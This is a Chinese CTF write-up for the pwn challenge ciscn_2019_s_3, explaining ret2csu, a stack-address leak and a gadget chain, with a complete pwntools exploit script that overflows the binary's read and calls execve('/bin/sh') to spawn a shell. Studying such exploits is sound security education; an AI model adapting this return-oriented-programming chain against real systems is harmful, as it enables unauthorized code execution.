首页 > 其他分享 >ciscn_2019_s_3

ciscn_2019_s_3

时间:2023-12-30 23:56:46浏览次数:21  
标签:addr 0xdeadbeef p64 2019 io buf ciscn

ciscn_2019_s_3

  • ret2csu

    64位程序中可以通过栈溢出控制__lib_csu_init中的参数来控制rdx,rsi,edi寄存器

  • 64位函数传入的参数依次存在寄存器rdi,rsi,rdx (顺序从左到右),返回值存在rax

  • syscall函数会根据rax的值来调用函数,例如当rax==0x3B时,运行execute

  • 栈地址泄露

  • ROPgadgets

1.read中存在溢出

2.泄露buf的地址写入/bin/sh

3.通过ROPgadgets得到控制寄存器的地址

4.最后通过ret2csusyscall构造出excuse('/bin/sh',0,0)得到shell

ret2csu思路:

  1. 首先跳转到pop rbx的位置(csu_end),控制一系列寄存器,根据代码可知r13 -> rdx ; r14 -> rsi ; r15 -> edi

  2. retnmov rdx,r13的位置(csu_font),这里要注意存在call函数,同时,要满足cmp rbx,rbp$rbx-$rbp==0才继续运行,为了满足条件我们需要在第$1$步中提前布局

  3. 运行loc_400596的代码,add rsp,8抬高了栈顶,所以我们填充栈的时候也要注意多填充8个位置,接着是常规的填充,根据需要,不需要则全部填充为0xdeadbeef直到retn回到程序流

泄露栈地址后第二次栈布局如下

rbp
0x10 padding 开头为b"/bin/sh\x00"=>buf_addr
0x18 ret 0x000000000040059A csu_end
0x20 0 rbx
0x28 1 rbp
0x30 r12 bufaddr+0x10 call的参数
0x38 0 r13 => rdx
0x40 0 r14 => rsi
0x48 0 r15 => edi
0x50 retn 0x0000000000400580 2csu_font
0x58 0xdeadbeef rsp,8
0x60 rsp 0xdeadbeef rbx
0x68 0xdeadbeef rbp
0x70 0xdeadbeef r12
0x78 0xdeadbeef r13
0x80 0xdeadbeef r14
0x88 0xdeadbeef r15
0x90 ret 0x00000000004004E2 rax = 0x3B
0x98 retn 0x00000000004005a3 pop_rdi_addr
0x100 ret 0x0000000000400517 syscall
from pwn import *
context.log_level = 'debug'
io = process('./ciscn_s_3')
#io = gdb.debug('./ciscn_s_3','break *0x00000000004004E2')
elf = ELF('./ciscn_s_3')

padding = 0x10
payload1 = b'A'*padding+p64(elf.sym['vuln'])
io.send(payload1)
io.recv(0x20)   #这个偏移主要是gdb看出来的
ebp_addr = u64(io.recv(8))
#print('ebp_addr',hex(ebp_addr))
buf_addr = ebp_addr-0x148   #buu改成-0x118
#print('buf_addr ->',hex(buf_addr))
payload2 =b'/bin/sh\x00'
payload2 = payload2.ljust(0x10,b'\x00')
payload2 += p64(0x000000000040059A)+p64(0)+p64(1)+p64(buf_addr+0x10)+p64(0)+p64(0)+p64(0)+p64(0x0000000000400580)
payload2 += p64(0xdeadbeef)*5+p64(0x00000000004004E2)+p64(0x00000000004005a3)+p64(buf_addr)+p64(0x0000000000400517)
io.send(payload2)
io.interactive()

主要一步步动态调试,理解程序控制流.

标签:addr,0xdeadbeef,p64,2019,io,buf,ciscn
From: https://www.cnblogs.com/bamuwe/p/17937074

相关文章

  • ciscn_2019_n_5
    ciscn_2019_n_5ret2shellcodelibc泄露程序没有开启NX保护,并且是RWX权限可以运行段上代码预期解:往name中写入shellcode,再利用get转跳到相应的.bss段上运行shellcode非预期解:通过get泄露puts()地址,泄露libc地址,劫持程序流得到shell.注意这里64位($rdi)和32位程序传......
  • ciscn_2019_ne_5
    ciscn_2019_ne_532位ROP劫持程序逻辑/bin/sh的替代方案sh栈上覆盖ROPgadgets查找字符串GetFlag函数1.GetFlag函数中把先前AddLog中加入的src变量赋给了dest,这里存在溢出2.Print函数中有system函数,通过plt_system利用3.通过ROPgadgets得到sh字符串构造pay......
  • Docker安装sqlserver-2019(已做持久化)
    Docker安装sqlserver-2019一.新建挂载目录并赋权mkdirsqlservercdsqlservermkdir-p/data/mssql#给目录赋予写的权限,不然在容器启动的时候,文件无法挂载chmod-R777./data/mssql二.准备docker-compose文件#在预先创建的sqlserver目录下vidocker-compose.yml#写入......
  • 2019 考研English英语二
    参考范文DearProf.Smith,It’smypleasuretoplanthedebateoncitytraffic,andIamwritingmainlytoputforwardadviceonthetopicofthisdebateandintroducemypreliminaryarrangementsconcerned.Tobeginwith,thedebatecanbeconduc......
  • Windows Server 2019-Powershell之客户端加域
    将本地计算机添加到域或工作组,可通过Add-Computer命令操作,具体信息如下:语法:Add-Computer[-DomainName][-ComputerName<String[]>][-Confirm]-Credential[-Force][-LocalCredential][-NewName][-OUPath][-Options{AccountCreate|Win9XUpgrade|UnsecuredJoi......
  • P5333 [JSOI2019] 神经网络
    题面传送门本来以为\(m\)这么小是\(m\sumk_i\logk\)的NTT的,写完发现一点不用(首先我们发现,这样的图上面的一个哈密顿回路可以表示成原森林若干条链,每个点都在其中一条链上,且相邻两条链不在同一棵树上。先跑一个DP把\(f_{i,j}\)表示用\(j\)条链覆盖\(i\)的方案数......
  • [SNOI2019] 网络 题解
    [SNOI2019]网络题解最喜欢这道题。简要题意给一颗\(n\)个节点的树和一个参数\(d\),定义两个节点\(x,y\)之间的距离为\(x\)到\(y\)的简单路径上的边数。定义一个树上连通块的权值为连通块中任意两点的距离之和。定义一个树上连通块的直径为连通块中任意两点距离的最......
  • VS2019,无法启动程序xxx.exe,系统找不到指定的文件,重新生成解决方案报错
     调试程序报错如图一、尝试重新生成解决方案二、如果生成解决方案也报错,重新安装.netSDK本人所用为VS2019,.net5,到官网下载.net5的SDK重新安装后,恢复正常,重新生成成功,启动调试成功。.net各版本下载地址:https://dotnet.microsoft.com/en-us/download/dotnet.net5下载地址:h......
  • QAxObject 解析 excel 时报错error LNK2019: 无法解析的外部符号
    QT5+VS2019项目中使用excel输出表格 1.无法打开源文件"QAxObject" 解决办法:办法1.头文件换成:#include<ActiveQt/QAxObject>办法2.在项目->属性->QtProjectSetting->QTmodules勾选ActiveQtContainer 2.头文件没问题后,编译也通过了,然后调试又有新的错误 头文件没......
  • office2019专业增强版word功能讲解及安装包收集整理
    简介Office2019专业增强版是微软最新推出的办公软件,相信大家对这款软件并不陌生。这款软件提供了许多实用的功能,例如多显示器优化功能。当我们使用两个显示器时,很难保证它们的分辨率完全相同,因此在不同显示器上显示文档时可能会出现差异。使用多显示器优化功能可以有效地避免在不同......